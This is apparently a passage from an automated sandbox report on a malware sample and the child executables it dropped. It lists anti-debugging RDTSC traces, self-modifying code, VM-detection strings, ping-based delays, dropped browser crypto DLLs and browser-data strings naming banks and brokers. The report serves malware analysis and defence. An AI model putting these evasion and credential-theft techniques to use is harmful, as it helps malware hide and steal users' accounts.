Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	RDTSC instruction interceptor: First address: FA245D second address: FA24CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 movsx edi, bx 0x0000000a mov edx, dword ptr [ebp+122D37A3h] 0x00000010 push 00000003h 0x00000012 push 00000000h 0x00000014 push ebx 0x00000015 call 00007F00CD21E188h 0x0000001a pop ebx 0x0000001b mov dword ptr [esp+04h], ebx 0x0000001f add dword ptr [esp+04h], 0000001Ah 0x00000027 inc ebx 0x00000028 push ebx 0x00000029 ret 0x0000002a pop ebx 0x0000002b ret 0x0000002c mov dword ptr [ebp+122D1B18h], eax 0x00000032 push 00000000h 0x00000034 mov ecx, dword ptr [ebp+122D37C3h] 0x0000003a push 00000003h 0x0000003c push esi 0x0000003d jmp 00007F00CD21E195h 0x00000042 pop ecx 0x00000043 push 9EABB358h 0x00000048 push eax 0x00000049 push edx 0x0000004a jmp 00007F00CD21E18Eh 0x0000004f rdtsc
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	RDTSC instruction interceptor: First address: FA24CD second address: FA24FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007F00CCD814A6h 0x00000009 push esi 0x0000000a pop esi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e add dword ptr [esp], 21544CA8h 0x00000015 adc esi, 34EE5DB3h 0x0000001b lea ebx, dword ptr [ebp+1244712Ch] 0x00000021 mov ecx, 1B894AF3h 0x00000026 xchg eax, ebx 0x00000027 pushad 0x00000028 push eax 0x00000029 push edx 0x0000002a jg 00007F00CCD814A6h 0x00000030 rdtsc
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	RDTSC instruction interceptor: First address: FA24FD second address: FA250B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnp 00007F00CD21E186h 0x0000000e rdtsc
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	RDTSC instruction interceptor: First address: FA250B second address: FA250F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	RDTSC instruction interceptor: First address: FA25AB second address: FA25B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F00CD21E186h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	RDTSC instruction interceptor: First address: FC326C second address: FC3287 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F00CCD814A6h 0x0000000a jp 00007F00CCD814A6h 0x00000010 jng 00007F00CCD814A6h 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	RDTSC instruction interceptor: First address: FC3287 second address: FC328D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	RDTSC instruction interceptor: First address: FC328D second address: FC3291 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	RDTSC instruction interceptor: First address: FC3291 second address: FC32A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F00CD21E18Dh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	RDTSC instruction interceptor: First address: FC1313 second address: FC1338 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F00CCD814B5h 0x0000000d jno 00007F00CCD814A6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	RDTSC instruction interceptor: First address: FC1338 second address: FC1346 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F00CD21E186h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	RDTSC instruction interceptor: First address: FC1603 second address: FC160F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F00CCD814A6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	RDTSC instruction interceptor: First address: FC160F second address: FC1623 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F00CD21E18Bh 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	RDTSC instruction interceptor: First address: FC1623 second address: FC1652 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00CCD814B2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnl 00007F00CCD814ACh 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F00CCD814AAh 0x00000017 rdtsc
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	RDTSC instruction interceptor: First address: FC18E3 second address: FC18F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F00CD21E18Ch 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	RDTSC instruction interceptor: First address: FC18F8 second address: FC1904 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F00CCD814A6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	RDTSC instruction interceptor: First address: FC1CBE second address: FC1CC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F00CD21E186h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	RDTSC instruction interceptor: First address: FC2206 second address: FC220F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	RDTSC instruction interceptor: First address: FC220F second address: FC2213 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	RDTSC instruction interceptor: First address: FC2344 second address: FC2349 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	RDTSC instruction interceptor: First address: FC2349 second address: FC2353 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F00CD21E186h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	RDTSC instruction interceptor: First address: FC2DAD second address: FC2DC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F00CCD814B3h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	RDTSC instruction interceptor: First address: FC2DC6 second address: FC2DCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	RDTSC instruction interceptor: First address: FC71F3 second address: FC7207 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00CCD814B0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	RDTSC instruction interceptor: First address: FC7207 second address: FC720D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	RDTSC instruction interceptor: First address: FC720D second address: FC7220 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jo 00007F00CCD814A6h 0x00000013 rdtsc
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	RDTSC instruction interceptor: First address: FC7220 second address: FC722A instructions: 0x00000000 rdtsc 0x00000002 ja 00007F00CD21E186h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	RDTSC instruction interceptor: First address: FC722A second address: FC7231 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	RDTSC instruction interceptor: First address: FC7340 second address: FC7345 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	RDTSC instruction interceptor: First address: FC7345 second address: FC735B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F00CCD814B2h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	RDTSC instruction interceptor: First address: FC735B second address: FC737C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00CD21E18Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F00CD21E18Ah 0x00000015 rdtsc
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	RDTSC instruction interceptor: First address: FC737C second address: FC7382 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	RDTSC instruction interceptor: First address: FC7382 second address: FC73B5 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F00CD21E188h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 jmp 00007F00CD21E18Ch 0x00000015 mov eax, dword ptr [eax] 0x00000017 jmp 00007F00CD21E18Ch 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 push eax 0x00000021 push edx 0x00000022 push esi 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	RDTSC instruction interceptor: First address: FC73B5 second address: FC73BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	RDTSC instruction interceptor: First address: FC8F16 second address: FC8F1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	RDTSC instruction interceptor: First address: FC8F1A second address: FC8F50 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F00CCD814D0h 0x0000000c jmp 00007F00CCD814B3h 0x00000011 jmp 00007F00CCD814B7h 0x00000016 rdtsc
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	RDTSC instruction interceptor: First address: FC8F50 second address: FC8F56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	RDTSC instruction interceptor: First address: FC8F56 second address: FC8F5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	RDTSC instruction interceptor: First address: FC8F5A second address: FC8F70 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 js 00007F00CD21E186h 0x00000016 rdtsc
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	RDTSC instruction interceptor: First address: FC8F70 second address: FC8F8F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F00CCD814B5h 0x0000000c push eax 0x0000000d pop eax 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	RDTSC instruction interceptor: First address: FC8F8F second address: FC8F9A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007F00CD21E186h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	RDTSC instruction interceptor: First address: F90996 second address: F9099F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	RDTSC instruction interceptor: First address: F9099F second address: F909AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F00CD21E186h 0x0000000a push esi 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	RDTSC instruction interceptor: First address: FCCD9A second address: FCCDA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F00CCD814A6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	RDTSC instruction interceptor: First address: FCCDA4 second address: FCCDC1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00CD21E199h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	RDTSC instruction interceptor: First address: FD2C92 second address: FD2C9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	RDTSC instruction interceptor: First address: FD2C9C second address: FD2CA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	RDTSC instruction interceptor: First address: FD2CA6 second address: FD2CAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6AFA22 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6AFAF2 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 8646A9 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 862DCE instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 8EFB8F instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	Special instruction interceptor: First address: FC711C instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	Special instruction interceptor: First address: FC5988 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsGCFIIEBKEG.exe	Special instruction interceptor: First address: E2E92B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: E5711C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: E55988 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: CBE92B instructions caused by: Self-modifying code

Uses ping.exe to sleep

Source: C:\Users\user\AppData\Local\Temp\1009917001\tvtC9D3.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 1 8.8.8.8
Source: C:\Users\user\AppData\Local\Temp\1009917001\tvtC9D3.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 1 8.8.8.8

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsGCFIIEBKEG.exe

Code function: 25_2_05790153 rdtsc

25_2_05790153

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1009917001\tvtC9D3.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsw73E9.tmp\nsExec.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\file.exe TID: 6524	Thread sleep time: -52026s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6516	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1220	Thread sleep time: -50025s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2620	Thread sleep time: -36000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 800	Thread sleep time: -50025s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6320	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6520	Thread sleep time: -48024s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4800	Thread sleep time: -60030s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7420	Thread sleep count: 77 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7420	Thread sleep time: -2310000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7420	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1009917001\tvtC9D3.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1009917001\tvtC9D3.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\DocumentsGCFIIEBKEG.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\AppData\Local\Temp\1009917001\tvtC9D3.exe	Code function: 30_2_004068D4 FindFirstFileW,FindClose,	30_2_004068D4
Source: C:\Users\user\AppData\Local\Temp\1009917001\tvtC9D3.exe	Code function: 30_2_00405C83 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	30_2_00405C83
Source: C:\Users\user\AppData\Local\Temp\1009917001\tvtC9D3.exe	Code function: 30_2_00402930 FindFirstFileW,	30_2_00402930

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C96C930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6C96C930

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: skotes.exe, skotes.exe, 0000001C.00000002.3421084896.0000000000E37000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: Web Data.13.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: Web Data.13.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: Web Data.13.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: Web Data.13.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: Web Data.13.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: tvtC9D3.exe, 0000001E.00000002.3422195522.00000000005C8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\[
Source: Web Data.13.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: file.exe, 00000000.00000002.2679757495.0000000000F98000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2679757495.0000000000FB6000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001C.00000002.3422980977.0000000001599000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Web Data.13.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: file.exe, 00000000.00000002.2709780978.0000000023703000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: PING.EXE, 0000001F.00000002.3393085035.0000000000550000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllg
Source: Web Data.13.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: Web Data.13.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: Web Data.13.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: Web Data.13.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: Web Data.13.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: Web Data.13.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: Web Data.13.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: Web Data.13.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: Web Data.13.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: Web Data.13.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: tvtC9D3.exe, 0000001E.00000002.3422195522.00000000005C8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: Web Data.13.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: Web Data.13.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: Web Data.13.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: skotes.exe, 0000001C.00000002.3422980977.0000000001599000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW/c
Source: Web Data.13.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: Web Data.13.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: Web Data.13.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: file.exe, 00000000.00000002.2679757495.0000000000F3E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareZ
Source: file.exe, 00000000.00000002.2679757495.0000000000F3E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Web Data.13.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: Web Data.13.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: Web Data.13.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: Web Data.13.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: Web Data.13.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: Web Data.13.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: file.exe, 00000000.00000002.2679757495.0000000000F83000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWx@
Source: file.exe, 00000000.00000002.2678119998.000000000083E000.00000040.00000001.01000000.00000003.sdmp, DocumentsGCFIIEBKEG.exe, 00000019.00000002.2709219782.0000000000FA7000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 0000001A.00000002.2747660292.0000000000E37000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 0000001C.00000002.3421084896.0000000000E37000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot 